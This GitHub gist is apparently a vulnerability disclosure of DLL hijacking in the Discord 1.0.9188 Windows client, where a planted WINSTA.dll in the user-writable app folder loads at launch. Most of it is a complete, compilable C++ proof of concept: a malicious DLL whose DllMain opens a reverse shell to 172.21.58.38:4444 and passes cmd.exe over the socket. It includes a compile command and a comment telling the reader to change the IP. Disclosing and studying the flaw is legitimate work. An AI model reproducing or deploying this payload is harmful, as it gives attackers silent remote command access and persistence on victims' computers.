Skip to content

Instantly share code, notes, and snippets.

@shellkraft
Created April 20, 2025 19:06
Show Gist options
  • Save shellkraft/ac4be6a3953e2889a7bf54aea2db88c2 to your computer and use it in GitHub Desktop.
Save shellkraft/ac4be6a3953e2889a7bf54aea2db88c2 to your computer and use it in GitHub Desktop.

DLL Hijacking in Discord V1.0.9188 (Windows Client) Leads to Remote Code Execution (RCE)

Summary

A critical DLL hijacking vulnerability exists in Discord version 1.0.9188 (Windows client) that allows an attacker to achieve Remote Code Execution (RCE) by placing a malicious DLL (WINSTA.dll) in the user-writable Discord installation directory.

This issue is trivially exploitable and poses a significant security risk, especially in environments where Discord is installed for multiple users or auto-launches at system startup.


Vulnerable Path

C:\Users\<username>\AppData\Local\Discord\app-1.0.9188\WINSTA.dll
  • Discord attempts to load WINSTA.dll on launch.
  • If the DLL is missing, it is searched for in the local directory first.
  • Since this folder is user-writable, an attacker can drop a malicious DLL here.

Proof of Concept

A custom WINSTA.dll was created to launch a reverse shell on Discord startup. The application loaded the DLL successfully and continued to function as normal — proving the hijack worked and that the injection was silent.

Reverse Shell Payload (DLL)

The following code executes a reverse shell connecting back to the attacker’s IP (172.21.58.38:4444) and spawns a cmd.exe process redirected over the socket.

Click to view full PoC source
// x86_64-w64-mingw32-g++ -shared -o patchpoc.dll patchpoc.cpp -lws2_32 -static

#include <winsock2.h>  
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

DWORD WINAPI ReverseShell(LPVOID lpParam) {
    WSADATA wsaData;
    SOCKET sock;
    struct sockaddr_in server;

    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    // Change IP and port
    const char *ip = "172.21.58.38";
    int port = 4444;

    WSAStartup(MAKEWORD(2, 2), &wsaData);
    sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = inet_addr(ip);

    if (WSAConnect(sock, (SOCKADDR*)&server, sizeof(server), NULL, NULL, NULL, NULL) == SOCKET_ERROR) {
        closesocket(sock);
        WSACleanup();
        return 1;
    }

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;

    ZeroMemory(&pi, sizeof(pi));
    CreateProcess(NULL, (LPSTR)"cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    closesocket(sock);
    WSACleanup();
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        CreateThread(NULL, 0, ReverseShell, NULL, 0, NULL);
    }
    return TRUE;
}

Impact

  • Remote Code Execution without user interaction
  • Persistence via application launch
  • No elevation required — works in standard user context
  • Bypass of DLL loading best practices (no LOAD_LIBRARY_SEARCH_SYSTEM32)

@shellkraft
Copy link
Author

discord.mp4

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment